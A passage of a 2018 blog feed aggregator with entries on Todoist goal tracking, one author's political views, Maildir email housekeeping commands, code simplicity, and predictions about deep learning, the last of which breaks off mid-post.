&lt;p&gt;The first separate is to create a new project to separate your goal based tasks. In Todoist, you can create nested projects so I created a parent project of “Goals” and then child-projects for each goal I had.&lt;/p&gt;
&lt;h2&gt;Create Recurring Tasks&lt;/h2&gt;
&lt;p&gt;Using Todoists powerful recurring task functionality you can now create small tasks within each of these goal projects that is set to recur. For example, here is how I set up the “Gym” project.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cdn-images-1.medium.com/max/2000/0*rA7JHrKQWXY5IHAV" /&gt;&lt;/p&gt;
&lt;p&gt;Notice I have taken full advantage of recurring tasks by creating individual work out tasks. I’ve also made sure to have a task that can be chalked off every day to make sure I’m always chipping away at my goal.&lt;/p&gt;
&lt;p&gt;Incorporating some &lt;a href="https://gettingthingsdone.com/"&gt;Getting Things Done&lt;/a&gt; principles, I’ve created a recurring task to review the progress of this goal. This could be in the form of a journal or a comment I put against the task. It keeps me honed into the goal’s original purpose and focused on the week ahead.&lt;/p&gt;
&lt;p&gt;By having this all planned out in advance you will never say “Oh no, I forgot to pack my gym back so I can’t go to the gym” or “I’ve had to get McDonald’s today because I hadn’t made lunch!”. It’s already in your task management app, ready for you. You don’t even need to think about it. This lowers the barrier to entry and reduces the number of “excuse vectors” — the number of different ways you could make excuses for not achieving your goal.&lt;/p&gt;
&lt;h2&gt;Use Labels and Reminders aggressively to provide context&lt;/h2&gt;
&lt;p&gt;In Getting Things Done, David Allen discusses context around certain tasks. In our example above, we can’t pack our gym bag at the office, because at that point it’s too late, we need to do it before we leave for work.&lt;/p&gt;
&lt;p&gt;Context provides that assistance to highlight the tasks you can and should do right now. Todoist enables this by providing time-based reminders and labels. I would suggest creating reminders for the pack bag task for right after you wake up so you do not forget. Additionally, trigger the press-ups tasks when you arrive at your home location. Location-based reminders are a premium feature but you can just as easily set it for the time you get home from work.&lt;/p&gt;
&lt;p&gt;Although not applicable in the example above, labels can provide extraordinary power. If we were learning to code, you could create a task to read a programming article you found and tag it with @out_and_about — this is a label I use for when I’m not physically at home, these are the sorts of tasks I can do on my lunch break. Other tasks such as “Add new API endpoint for getting users” would be a task I label with @home and @deep_work as it will require me to be at home and concentrate on that task for an extended period of time. When looking at what I should do next, labels like these help me to weigh up my motivation and available time.&lt;/p&gt;
&lt;h2&gt;Start Doing!&lt;/h2&gt;
&lt;p&gt;As much as all these fancy tools assist in visualizing your goals and the tasks that make them up, there is no replacement for real solid action. There is a vast multitude of facets to forming habits and achieving goals from the practical steps right through to the neuroscience research; that all goes well beyond the scope of this article. All in all, however, just do and be realistic about the time these tasks will take. Now, what are you waiting for? Get cracking!&lt;/p&gt;</description><author/><pubDate>Sat, 28 Jul 2018 01:12:03 GMT</pubDate><guid isPermaLink="true">/goals-in-todoist/</guid></item><item><title>Advice for Technical Public Speaking: Part 3</title><link>https://thomashunter.name/posts/2018-07-27-advice-for-technical-public-speaking-part-3-3</link><author>Thomas Hunter II</author><pubDate>Fri, 27 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-07-27-advice-for-technical-public-speaking-part-3-3</guid></item><item><title>My Politics, 2018 Edition</title><link>https://benovermyer.com/blog/2018/07/my-politics-2018-edition/</link><description>&lt;p&gt;I've been looking at what's coming up on the ballot for this midterm election. I decided it might be interesting to blog about where I'm at right now with my political views, since they're always in flux.&lt;/p&gt;
&lt;p&gt;Before I get to my positions, indulge me in a few considerations.&lt;/p&gt;
&lt;p&gt;First, I have been called a liberal, a conservative, a progressive, a fascist, and a socialist. None of these is true, but all of them have a grain of truth.&lt;/p&gt;
&lt;p&gt;Second, I'm an American by birth, but have spent a few years living abroad. Specifically, four years in New Zealand. This colors my views a bit.&lt;/p&gt;
&lt;p&gt;Third, I'm contemptuous of the prevailing American culture of Left versus Right, liberal versus conservative. It's overly reductive and harmful to a broader dialogue about our society. If you don't think enough about your own identity to consider this, then you need to start.&lt;/p&gt;
&lt;p&gt;Fourth, while I apply labels just as much as the next person, I try to remain cognisant of this fact and avoid dismissing “outsider” views out of hand.&lt;/p&gt;
&lt;p&gt;Alright, with those things out of the way, let me get into the meat of it.&lt;/p&gt;
&lt;h1 id="the-list"&gt;The List&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Freedom from involuntary harm is the most sacred right we have. Exceptions must be very carefully considered.&lt;/li&gt;
&lt;li&gt;Freedom of expression is the second most sacred right we have. Exceptions must be very carefully considered.&lt;/li&gt;
&lt;li&gt;Charity is not a substitute for social welfare. Charity is based on arbitrary desires, but social welfare is based only on economic means.&lt;/li&gt;
&lt;li&gt;Religion should never influence public policy. Public policy should not interfere with religion, except where religion interferes with the physical, mental, or emotional well-being of people.&lt;/li&gt;
&lt;li&gt;The military is an unfortunate necessity and not something to idolize. Military service is akin to moral slavery.&lt;/li&gt;
&lt;li&gt;Recreational usage of drugs should not be a crime. However, recreational drugs should be regulated just as strictly as alcohol.&lt;/li&gt;
&lt;li&gt;No one has a right to wealth or power.&lt;/li&gt;
&lt;li&gt;Sex and gender are two different things. One is biological, and the other is societal. We have the technology to change one. We should have the maturity to let people change or reinterpret the other.&lt;/li&gt;
&lt;li&gt;There are limits even to freedom. Nothing is inviolate.&lt;/li&gt;
&lt;li&gt;Cultures other than your own are different, but not automatically wrong.&lt;/li&gt;
&lt;li&gt;As we age, the more set our beliefs become. Political leadership should come from experience, but not too much experience.&lt;/li&gt;
&lt;li&gt;No group is uniform. Judging an entire group by the actions of even a simple majority of its members is dangerous at best.&lt;/li&gt;
&lt;li&gt;No race is inherently better than another.&lt;/li&gt;
&lt;li&gt;No sex is inherently better than another.&lt;/li&gt;
&lt;li&gt;Empirical evaluation is far superior to logical evaluation.&lt;/li&gt;
&lt;li&gt;If you're not questioning your core beliefs occasionally and sincerely, you are not growing as a person.&lt;/li&gt;
&lt;li&gt;Consenting adults can do whatever the **** they want in private.&lt;/li&gt;
&lt;li&gt;Business interests by definition must have a narrow scope of interest. They cannot be allowed to set policy for any larger society.&lt;/li&gt;
&lt;li&gt;Experts in a particular field are always the best people to suggest policy for a given thing. Their advice should not be ignored.&lt;/li&gt;
&lt;li&gt;The field of politics requires expertise in management of large groups of people. Experience in this regard should not be discarded out of hand.&lt;/li&gt;
&lt;li&gt;Business should not be dictated solely by politics.&lt;/li&gt;
&lt;li&gt;Equality at birth is a nice ideal, but a false reality. Social circumstances always skew the scale.&lt;/li&gt;
&lt;li&gt;Do unto others as you would have done to you.&lt;/li&gt;
&lt;li&gt;Thoughtful investigation that is broadly distributed should not be considered wholly false because it contradicts the opinions of people in authority.&lt;/li&gt;
&lt;li&gt;Sometimes, it's necessary to discard something and start from scratch with a new perspective.&lt;/li&gt;
&lt;li&gt;Money can't buy happiness, but it can buy freedom, which can help build happiness up to a point.&lt;/li&gt;
&lt;li&gt;You are ultimately responsible for your own actions.&lt;/li&gt;
&lt;li&gt;Rewarding desired behavior is almost always preferable to punishing unwanted behavior.&lt;/li&gt;
&lt;li&gt;Those who have lived among a higher diversity of people for a longer period of time are more likely to make leadership decisions that benefit a society.&lt;/li&gt;
&lt;li&gt;Becoming fluent in more than one language is one of the most important things a person can do in terms of expanding their understanding of humanity.&lt;/li&gt;
&lt;li&gt;There is no such thing as truth. There is only fact, interpretation of fact, and blatant disregard for the same.&lt;/li&gt;
&lt;li&gt;Disregarding popular opinion is dangerous.&lt;/li&gt;
&lt;li&gt;Corrective action is sometimes more important than equal treatment.&lt;/li&gt;
&lt;li&gt;The ability to adapt quickly is superior to all other abilities.&lt;/li&gt;
&lt;li&gt;No one has an unbiased, complete view of history. However, sovereign-mandated versions of history should be accorded more suspicion than those of independent people whose lives have been dedicated to the study of history.&lt;/li&gt;
&lt;li&gt;The study of history is one of the most important aspects of ongoing education. People who stopped studying history after it was no longer a required course in school have stunted their ability to judge long-term consequences.&lt;/li&gt;
&lt;li&gt;Music is both pointless and vitally important. I don't know why yet.&lt;/li&gt;
&lt;li&gt;Regulation of weapons in and of itself is of limited value, but it's a conversation worth having often.&lt;/li&gt;
&lt;li&gt;Putting one's nation over the interests of all other nations is dangerously narrow-minded. Any leader that does this is suspect.&lt;/li&gt;
&lt;li&gt;Cooperate with others when possible. Listen always. Stand up for yourself always, but don't sacrifice the majority for your benefit.&lt;/li&gt;
&lt;li&gt;You can be responsible for an area. You can respect the responsibility of others for an area. But if an area is not being used for the longterm benefit of humanity, you have the responsibility to speak up about it.&lt;/li&gt;
&lt;li&gt;All things are decided by groups, not by individuals.&lt;/li&gt;
&lt;/ul&gt;</description><author>Ben Overmyer's Site</author><pubDate>Thu, 26 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/07/my-politics-2018-edition/</guid></item><item><title>A "complex" economy may make all journalists blind</title><link>https://stop.zona-m.net/2018/07/a-complex-economy-may-make-all-journalists-blind/</link><description>&lt;p&gt;I found a paper about concentration of certain human activities in large cities that&amp;hellip; maybe does not give enough coverage to some among the most important of those activities.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 25 Jul 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/a-complex-economy-may-make-all-journalists-blind/</guid></item><item><title>Sunset and sunrise on the Tor</title><link>https://liza.io/sunset-and-sunrise-on-the-tor/</link><description>&lt;p&gt;Today is our last day in Glastonbury. I will miss this place, but I also feel like I&amp;rsquo;ve seen everything I wanted to see here, and that I am ready to go home and take a little bit of Glastonbury back with me.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 25 Jul 2018 15:00:22 GMT</pubDate><guid isPermaLink="true">https://liza.io/sunset-and-sunrise-on-the-tor/</guid></item><item><title>Marking 20k emails as read</title><link>https://xenodium.com/marking-20k-emails-as-read</link><description>&lt;p&gt;&lt;a href="http://isync.sourceforge.net/"&gt;Mbsync&lt;/a&gt; and &lt;a href="https://www.djcbsoftware.nl/code/mu/mu4e.html"&gt;mu4e&lt;/a&gt; are great for syncing and handling IMAP email. I've now migrated 4 email addresses, including an old Yahoo account.&lt;/p&gt;
&lt;p&gt;I wanted to mark all my Yahoo unread emails as read. Yahoo's webmail enables marking 500 emails at a time, making the process a little tedious.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://groups.google.com/forum/#!forum/mu-discuss"&gt;Mu-discuss&lt;/a&gt; has a handy &lt;a href="https://groups.google.com/d/msg/mu-discuss/zaA394sH1Ow/QSVPXS22BQAJ"&gt;thread&lt;/a&gt;, highlighting that moving/renaming synced messages (in your local file system) would do the job. This worked well for me.&lt;/p&gt;
&lt;p&gt;Let's do just that…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WARNING:&lt;/strong&gt; Copy a small sample of your mails to a separate directory and run some trials until you feel comfortable.&lt;/p&gt;
&lt;p&gt;Find your mail directory.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;cd path/to/mail
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Peek at the messages you'd like to mark unread:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;ls -1 new/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rename message files by appending &amp;quot;S&amp;quot; to their filename and moving from new/ to cur/ directory.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;for FILE in new/*; do mv &amp;quot;${FILE}&amp;quot; cur/$(basename &amp;quot;${FILE}&amp;quot;)S; done;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can verify the move.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;ls -1 cur/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let's sync the local changes.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;mbsync -Va
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;…and we're done ;)&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 25 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/marking-20k-emails-as-read</guid></item><item><title>Advice for Technical Public Speaking: Part 2</title><link>https://thomashunter.name/posts/2018-07-25-advice-for-technical-public-speaking-part-2-3</link><author>Thomas Hunter II</author><pubDate>Wed, 25 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-07-25-advice-for-technical-public-speaking-part-2-3</guid></item><item><title>Seek Out New Experiences</title><link>https://martinrue.com/seek-out-new-experiences/</link><description>We ofen hear the advice “get out of your comfort zone”, and in my experience it's good advice to avoid becoming stationary in whatever it is you're trying to get better at.</description><author>Martin Rue</author><pubDate>Wed, 25 Jul 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://martinrue.com/seek-out-new-experiences/</guid></item><item><title>[Computing] Why Intel will never let owners control the ME</title><link>https://www.devever.net/~hl/intelme</link><description>&lt;p&gt;The Intel Management Engine is an auxillary microprocessor embedded into modern
Intel x86 CPUs or chipsets.&lt;sup&gt;&lt;a href="#fn1" id="fn1b"&gt;1&lt;/a&gt;&lt;/sup&gt; It runs
an Intel-signed proprietary binary blob. Due to code signing restrictions
enforced by the hardware, it cannot be modified or replaced by the user. (AMD
x86 CPUs have a similar auxillary microprocessor, but they call it the Platform
Security Processor. It's locked down in exactly the same way; the AMD situation
cannot be considered to be any better.)&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Tue, 24 Jul 2018 14:30:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/intelme</guid></item><item><title>Avoid Vendor Lock-in When Sending Emails by Using SMTP</title><link>https://www.databasesandlife.com/smtp-email-delivery-providers/</link><description>&lt;p&gt;Email delivery providers such as Mandrill, Mailgun, SendGrid, AWS SES etc. all provide proprietary APIs and SDKs to send email over their service. These APIs are different from one email provider to the next. However all these services also allow you to send email via the industry-standard SMTP.&lt;/p&gt;
&lt;p&gt;All email delivery providers encourage you to use their own API. Sometimes they don&amp;rsquo;t really indicate strongly that there is any alternative to using their API. For example the current &lt;a href="https://sendgrid.com/" rel="noopener noreferrer" target="_blank"&gt;SendGrid&lt;/a&gt; homepage has a big box about the &amp;ldquo;SendGrid API&amp;rdquo;; I don&amp;rsquo;t see anything about SMTP on their homepage.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Tue, 24 Jul 2018 11:55:41 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/smtp-email-delivery-providers/</guid></item><item><title>Show iOS simulator touches</title><link>https://xenodium.com/show-ios-simulator-touches</link><description>&lt;p&gt;TIL from &lt;a href="https://twitter.com/liamnichols_/status/1018812142693253120?s=12"&gt;this tweet&lt;/a&gt;, that you can enable showing touches on iOS simulator. This is handy for making nicer screencasts.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;defaults write http://com.apple .iphonesimulator ShowSingleTouches 1
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 24 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/show-ios-simulator-touches</guid></item><item><title>Purely Functional Games (in Haskell)</title><link>https://gilmi.me/post/2018/07/24/pfgames</link><description>Over the last few months I've been working on a bullet-hell game in Haskell using purely functional style and I wanted to share some of the things I learned along the way.</description><author>λm.me</author><pubDate>Tue, 24 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://gilmi.me/post/2018/07/24/pfgames</guid></item><item><title>Phishing Leaves a DMARC Trail</title><link>https://www.brightball.com/articles/phishing-thats-gonna-leave-a-dmarc</link><description>In May I had the opportunity to present at the Anti-Phishing Working Group (APWG) Conference after spending some time cross referencing the APWG's eCrime Exchange data with dmarcian's historic DMARC reports to see if we could identify consistent patterns among known bad actors, as well as potentially identifying a wider scope to the attacks that any single entity could see. The results were interesting!</description><author>Brightball Articles</author><pubDate>Tue, 24 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/phishing-thats-gonna-leave-a-dmarc</guid></item><item><title>Debugging go code with delve</title><link>https://www.danielcorin.com/posts/2018/2018-07-23-go-debugging-with-delve/</link><description>Debugging go code with delve</description><author>Thought Eddies</author><pubDate>Mon, 23 Jul 2018 23:10:00 GMT</pubDate><guid isPermaLink="true">https://www.danielcorin.com/posts/2018/2018-07-23-go-debugging-with-delve/</guid></item><item><title>Code Reuse and Simplicity</title><link>https://www.mikekasberg.com/blog/2018/07/23/code-reuse-and-simplicity.html</link><description>&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=Jn3kdTaa69U"&gt;&lt;em&gt;The Myth of Code Reuse&lt;/em&gt;&lt;/a&gt;, a quick
video by Iain Lowe, became quite popular on Reddit in
&lt;a href="https://www.reddit.com/r/programming/"&gt;/r/programming&lt;/a&gt; a few weeks ago. I think
the reason for it’s popularity is obvious. Lowe talks about the amount of time
developers invest in making code “reusable” with interfaces and abstractions,
only to watch that code be replaced a few years down the road. Many professional
developers have worked with legacy code bases that frequently use these types
of abstractions (designed for “future-proof” code), but found the code to be
more complicated than necessary and difficult to work with.&lt;/p&gt;

&lt;p&gt;Developers have been taught that code reuse is an important part of good code,
so they tend to try to put it into every system they design. Unfortunately, this
also tends to add to the complexity of the system. Often, the “reusable” code is
never actually reused. In the end, the abstraction adds complexity to the system
without delivering any additional value.&lt;/p&gt;

&lt;p&gt;Similarly, a blog post about the cost of using &lt;a href="https://www.sandimetz.com/blog/2016/1/20/the-wrong-abstraction"&gt;The Wrong
Abstraction&lt;/a&gt; was
recently on the front page of &lt;a href="https://news.ycombinator.com/"&gt;Hacker News&lt;/a&gt;. Like
the video, this blog post illustrates the difficulty of working with
abstractions that are a poor match for the codebase. Whether by poor design or
by a lack of refactoring as the code base evolves, bad abstraction patterns can
turn into a big code maintenance cost.&lt;/p&gt;

&lt;p&gt;How can developers safe-guard against anti-patterns emerging in their code base
to create code that is &lt;em&gt;acutally&lt;/em&gt; maintainable? I think there are 2 important
rules to follow:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Complexity is bad.&lt;/strong&gt; Keep the code as simple as possible.&lt;/li&gt;
  &lt;li&gt;Write unit tests.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id="complexity-is-bad"&gt;Complexity is Bad&lt;/h2&gt;

&lt;p&gt;It’s easy for software developers to get carried away with the design of their
code. They want to apply all the algorithms and design patterns they’ve learned.
They want to use the latest technologies and newest features.  They take pride
in their work, and they don’t just want a solution that’s good enough. They want
the best solution.&lt;/p&gt;

&lt;p&gt;This often leads to bloated, complex code that’s difficult to work with.
Interfaces and other abstractions pop up all over the code base, even when
they’re not needed at all. Sometimes, developers will go as far as developing
classes that support things like custom plugin or callback architectures because
they envision a future where it might be needed. This usually results in bad
code because it’s more complex than it needs to be. It’s easy for developers to
be conned into the trap of building cool stuff that wasn’t asked for. If a
plugin system is required (as part of the story, within scope) because there’s
specific planned work that will make use of it, then it obviously needs to be
written.  Otherwise, don’t write it. If code is going to be reused (or even
maintained for several years), it needs to be easy for other developers to read
and understand.  Every bit of added complexity makes code harder to maintain.
Complexity is bad.  In almost every case, the best code is the simplest code.&lt;/p&gt;

&lt;h2 id="write-unit-tests"&gt;Write Unit Tests&lt;/h2&gt;

&lt;p&gt;The counter-argument to the case I’m making for simplicity is, of course, the
need to prepare for the future. Some might say that the argument against
complexity is short-sighted, and that it’s a good trade-off to introduce some
complexity into the system to make life easier down the road. But I don’t think
that’s usually the case. The future is unpredictable, and you’ll inevitably
build something that is different than what you end up needing.&lt;/p&gt;

&lt;p&gt;So, how do you protect your code base against an uncertain future? A
high-quality unit test suite is the best way to ensure a code base continues to
be maintainable. If developers can’t quickly introduce changes without the fear
of breaking existing functionality, the code base is no longer maintainable. The
best way to provide the security future developers need (whether it’s yourself
or others) is with a good unit test suite.  Good unit tests are a kind of living
documentation of what the code is expected to do, and they evolve with the code,
providing a safety net for making changes.  This safety net allows the
development team to make changes to the code base quickly, providing a hedge
against the uncertainty of the future.&lt;/p&gt;

&lt;h2 id="tldr"&gt;TL;DR&lt;/h2&gt;

&lt;p&gt;Complexity is bad. Keep your code as simple as possible. Write high-quality unit
tests and keep them up-to-date to ensure the code base can evolve rapidly. Unit
tests are the best way to future-proof your code base.&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Mon, 23 Jul 2018 19:30:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2018/07/23/code-reuse-and-simplicity.html</guid></item><item><title>The good and the bad in China's "Open Source on hyperspeed"</title><link>https://stop.zona-m.net/2018/07/the-good-and-the-bad-in-chinas-open-source-on-hyperspeed/</link><description>&lt;p&gt;Is the new Shanzai, and China digitization in general, really &amp;ldquo;Open Source on hyperspeed&amp;rdquo;? Not really. But there IS lots to learn from it.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 23 Jul 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/the-good-and-the-bad-in-chinas-open-source-on-hyperspeed/</guid></item><item><title>Advice for Technical Public Speaking: Part 1</title><link>https://thomashunter.name/posts/2018-07-23-advice-for-technical-public-speaking-part-1-3</link><author>Thomas Hunter II</author><pubDate>Mon, 23 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-07-23-advice-for-technical-public-speaking-part-1-3</guid></item><item><title>MoMath Hackathon 2018: Vortex Pool</title><link>https://www.dannyguo.com/blog/momath-hackathon-2018-vortex-pool</link><author>Danny Guo</author><pubDate>Mon, 23 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/momath-hackathon-2018-vortex-pool</guid></item><item><title>What not to spend time on</title><link>https://bytepawn.com/what-not-to-spend-time-on.html</link><description>&lt;p&gt;Warren Buffett says deciding what &lt;strong&gt;not&lt;/strong&gt; to spend time on is just as important as deciding what to spend time on.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Warren Buffett" src="/images/warren-buffett.jpg" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Mon, 23 Jul 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/what-not-to-spend-time-on.html</guid></item><item><title>First day in Glastonbury - visiting Tor and Chalice Well</title><link>https://liza.io/first-day-in-glastonbury-visiting-tor-and-chalice-well/</link><description>&lt;p&gt;I&amp;rsquo;ve wanted to see the Tor in person for a long time, ever since reading a fantasy book set in Glastonbury in high school. My wish has finally come true! I&amp;rsquo;m writing this post from a small apartment called Chalice Lodge on High Street, Glastonbury. To my left is an organic restaurant named Hundred Monkeys Cafe. To my right and just across the street is an organic food store. Surrounding those are a myriad of crystal shops, psychic healing practitioners, and other establishments with things like &amp;ldquo;Avalon&amp;rdquo; and &amp;ldquo;Excalibur&amp;rdquo; in their names. Today we visited many of these shops. I may get a psychic reading before we&amp;rsquo;re done here. I don&amp;rsquo;t know yet. But the most important part of the day (after eating some organic cheese scones and a tofu-based locally grown English Breakfast) was, of course, Tor. This is me with my new photograph of Tor, which will be framed and placed above my bed back home in Stockholm. I love it and I am so happy:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 22 Jul 2018 20:44:50 GMT</pubDate><guid isPermaLink="true">https://liza.io/first-day-in-glastonbury-visiting-tor-and-chalice-well/</guid></item><item><title>Predicting the future🍭. Part 1- Deep Learning</title><link>http://dimitarsimeonov.com/2018/07/22/predicting-the-future-part-1-deep-learning</link><description>&lt;p&gt;Ten years ago, the iPhone 3G was just announced, the second version of the iPhone ever. A lot has changed since in tech to the point where it is hard even to imagine how we lived before. Ten years into the future… who knows where tech would be? I don’t know for sure, but this doesn’t stop me from making educated guesses.&lt;/p&gt;

&lt;p&gt;It is also hard to know “exactly” ten years in the future where technology will be in its trajectory, but what is easier is to guess some technologies which will be developed any time before then.&lt;/p&gt;

&lt;p&gt;I am going to state all my verifiable predictions in italics and marked with a lollipop emoji. For example like this:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;🍭 In 10 years the year will be 2028.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;On the high level, I expect a lot of things to be very similar to our current lifestyle. The houses for example - it just takes a lot of time to build housing. And houses last a long time, so why not keep using the existing ones. Inequality around the world and within countries will remain similar, and globalization will continue. Hardware, materials and sensors will keep improving as well.&lt;/p&gt;

&lt;p&gt;I’ll leave the discussion on the topics above for a later day.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Today, let’s talk about the future of deep learning.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Where can deep learning go in ten years? Lets first see how it got here.  Deep learning started picking up just five years ago. Merely half of the period that I’m predicting.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_8693AB3C4EA285AF5E5078A27AC973791AE717981C6A23981923C1E5086F4741_1532034654050_Screenshot+2018-07-19+14.10.33.png" /&gt;&lt;/p&gt;

&lt;p&gt;In that period we’ve seen techniques such as Variational Auto Encoders and Generative Adversarial Networks, which everyone calls GANs.  We’ve seen computer vision get to the point where you can create fake videos of the president saying whatever you want them to say.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;🍭 We will think of deep learning as a novel type of programming, and not call it deep learning anymore. Instead, we might use other phrases such as “differential programming”, “natural programming”, etc.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Deep learning has terrific potential but is still a toddler and requires a lot of supervision, and tuning by an engineer. That process of tweaking acts as a way of “programming” without writing code. When a deep learning engineer tries multiple models and picks the one which is most promising as the base of the next set of iterations, that’s programming. It is not coding, as that decision is not explicitly embedded in the code, but it is programming nonetheless, as the software ends up being different because of that.&lt;/p&gt;

&lt;p&gt;All that deep learning, or any machine learning does is to allows us to write code that models data in a way that would have been intractable for us if we were to use primitives such as for-loops or if-statements, object-oriented or functional programming.&lt;/p&gt;

&lt;p&gt;Some people have started calling Deep Learning with the new phrase “Differentiable programming”&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_8693AB3C4EA285AF5E5078A27AC973791AE717981C6A23981923C1E5086F4741_1532195482241_Screenshot+2018-07-21+10.51.15.png" /&gt;&lt;/p&gt;

&lt;p&gt;I like this a little bit, as it reminds us that it is programming after all. But is very limiting. It is based on using gradient-based optimization techniques to come up with the neural network program. The “differentiable” part comes from using gradient. However, this is not the only way to arrive at the neural network, and in many cases, there is no need to use a neural network at all.&lt;/p&gt;

&lt;p&gt;I think a more apt phrase would be &lt;strong&gt;“Natural programming”&lt;/strong&gt; - it doesn’t matter what exact technique you used to come up with the final machine learned program, whether it was deep learning or simple decision trees. What matters is that the final model represents the input data’s relationships.&lt;/p&gt;

&lt;p&gt;And the input data is often coming from the real world, hence the “natural” qualifier. I expect a lot more use cases to center around humans and how we interact with nature and communities, and “natural” should come naturally, the way it is for “natural language processing”.&lt;/p&gt;

&lt;p&gt;As much as I like “natural programming” as a phrase, only time will tell which buzzword we will use.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;🍭 3 new different paradigms will emerge for deep learning, on the significance level of GANs.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Generative_adversarial_network"&gt;Generative adversarial networks&lt;/a&gt; (GAN) is a training algorithm which allows algorithms to be trained by trying to outsmart other deep learning algorithms, simultaneously improving in the process. It’s kind of like how counterfeit money evolves to be very close to the real money, while the real money keeps getting harder to counterfeit. GANs have a ton of cool applications, including, but not limited to fill-in-the-cat.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_8693AB3C4EA285AF5E5078A27AC973791AE717981C6A23981923C1E5086F4741_1532194273380_Screenshot+2018-07-21+10.31.03.png" /&gt;&lt;/p&gt;

&lt;p&gt;It is hard to know exactly how these would work, as only through sweat and tears and raw compute power will these be proven to work. But here are some wild guesses about what might happen.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;🍭 The Newton prediction. “Physical Laws” - Deep learning will be able to extract the physical or dynamics laws of a system just by observations.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This can be as simple as extracting the equation of the speed fall of an apple falling from a tree, which accelerates with the gravity constant g = 9.8 m /s^2  decreased slightly by the air viscosity proportional to the velocity.&lt;/p&gt;

&lt;p&gt;Learning algorithms can already detect statistical correlations in the data, which help it predict where an apple would be if there are a lot of examples of apples falling in the data. I’m not talking about statistical relationships. I am talking about being able to explicitly create a model about the acceleration an object would feel. This model will be used internally within the algorithm to make predictions about the intermediate steps of the model and would allow models to train with a lot less data.&lt;/p&gt;

&lt;p&gt;Right now, if you want to program a robot to juggle balls (photo below), you need to know about physics law and incorporate them in the code as a physical model. Learning directly from observations could take a very long time, but with the ability to extract logical rules about the physics of balls, it would require a lot less training from scratch.
Such technology could be used to determine rules about animal behavior in the wild or users’ behavior on a social network. If crossed with GANs, this could provide new and improved ways to play all kinds of adversarial games, from Hold Em Poker to leading an actual war.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_8693AB3C4EA285AF5E5078A27AC973791AE717981C6A23981923C1E5086F4741_1532037971894_Screenshot+2018-07-19+15.05.16.png" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;🍭 Human level language and emotion models.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Deep learning will be able to incorporate things like body language and intonation into its models.&lt;/p&gt;

